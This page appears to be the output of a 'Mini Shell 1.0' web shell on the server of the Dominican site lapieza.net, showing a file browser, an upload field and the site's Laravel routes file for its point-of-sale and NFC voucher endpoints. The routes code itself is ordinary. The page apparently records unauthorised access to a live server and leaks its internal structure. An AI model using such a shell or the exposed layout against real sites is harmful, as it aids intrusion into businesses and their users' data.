HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/routes/
Upload File :
Current File : /var/www/devs.lapieza.net/routes/pos.php
<?php
/*
|--------------------------------------------------------------------------
| POS Routes
|--------------------------------------------------------------------------
|
| Here is where you can register admin routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

use App\Http\Controllers\BusinessSettingsController;
use App\Http\Controllers\NfcVouchersController;
use App\Http\Controllers\PosController;
use App\Http\Controllers\Seller\PosController as SellerPosController;

Route::controller(PosController::class)->group(function () {
    Route::get('/pos/products', 'search')->name('pos.search_product');
    Route::post('/add-to-cart-pos', 'addToCart')->name('pos.addToCart');
    Route::post('/update-quantity-cart-pos', 'updateQuantity')->name('pos.updateQuantity');
    Route::post('/remove-from-cart-pos', 'removeFromCart')->name('pos.removeFromCart');
    Route::post('/get_shipping_address', 'getShippingAddress')->name('pos.getShippingAddress');
    Route::post('/get_shipping_address_seller', 'getShippingAddressForSeller')->name('pos.getShippingAddressForSeller');
    Route::post('/setDiscount', 'setDiscount')->name('pos.setDiscount');
    Route::post('/setShipping', 'setShipping')->name('pos.setShipping');
    Route::post('/set-shipping-address', 'set_shipping_address')->name('pos.set-shipping-address');
    Route::post('/pos-order-summary', 'get_order_summary')->name('pos.getOrderSummary');
    Route::post('/pos-order', 'order_store')->name('pos.order_place');
});
//Admin
Route::group(['prefix' => 'admin', 'middleware' => ['auth', 'admin']], function () {
    //pos
    Route::controller(PosController::class)->group(function () {
        Route::get('/pos', 'index')->name('poin-of-sales.index');
        //Route::get('/pos-activation', 'configuration')->name('poin-of-sales.activation');
        Route::get('/pos/thermal-printer/{order_id}', 'invoice')->name('admin.invoice.thermal_printer');
        //aqui esta el index o lista de NFC
        Route::get('/pos-activation-admin', 'configuration')->name('pos.configuration.admin');
        Route::get('/pos/products', 'search')->name('pos.search_seller_product');

        Route::post('/nfc_store_admin', [NfcVouchersController::class, 'store'])->name('pos.configuration.admin.store');
        Route::post('/nfc_update_admin', [NfcVouchersController::class, 'update'])->name('pos.configuration.admin.update');
        //EXPORTAR por exel
        Route::get('/nfc_configuration/collection', [NfcVouchersController::class, 'collection'])->name('pos.configuration.collection');
        Route::get('/nfc_configuration/view', [NfcVouchersController::class, 'view'])->name('pos.configuration.view');
    });
});
//Seller
Route::group(['prefix' => 'seller', 'middleware' => ['seller', 'verified', 'phone-verified']], function () {
    Route::controller(SellerPosController::class)->group(function () {
        Route::get('/pos', 'index')->name('poin-of-sales.seller_index');
        Route::get('/pos/thermal-printer/{order_id}', 'invoice')->name('seller.invoice.thermal_printer');
        //aqui esta el index o lista de NFC
        Route::get('/pos-activation', 'configuration')->name('pos.configuration');
        Route::get('/pos/products', 'search')->name('pos.search_seller_product');
    });
    Route::post('/pos-configuration', [BusinessSettingsController::class, 'update'])->name('seller_business_settings.update');
    //configuracion de los comprobantes NFC
    //CREAR NFC
    Route::post('/nfc_store', [NfcVouchersController::class, 'store'])->name('pos.configuration.store');
    //EXPORTAR por exel
    Route::get('/nfc_configuration/collection', [NfcVouchersController::class, 'collection'])->name('pos.configuration.collection');
    Route::get('/nfc_configuration/view', [NfcVouchersController::class, 'view'])->name('pos.configuration.view');
});

//Workshop
Route::prefix('workshop/panel')->name('workshop.dashboard.')->middleware(['verified', 'phone-verified', 'workshop'])->group(function () {
    Route::view('sistema-de-facturacion', 'seller.pos.workshop.index')->name('pos');
});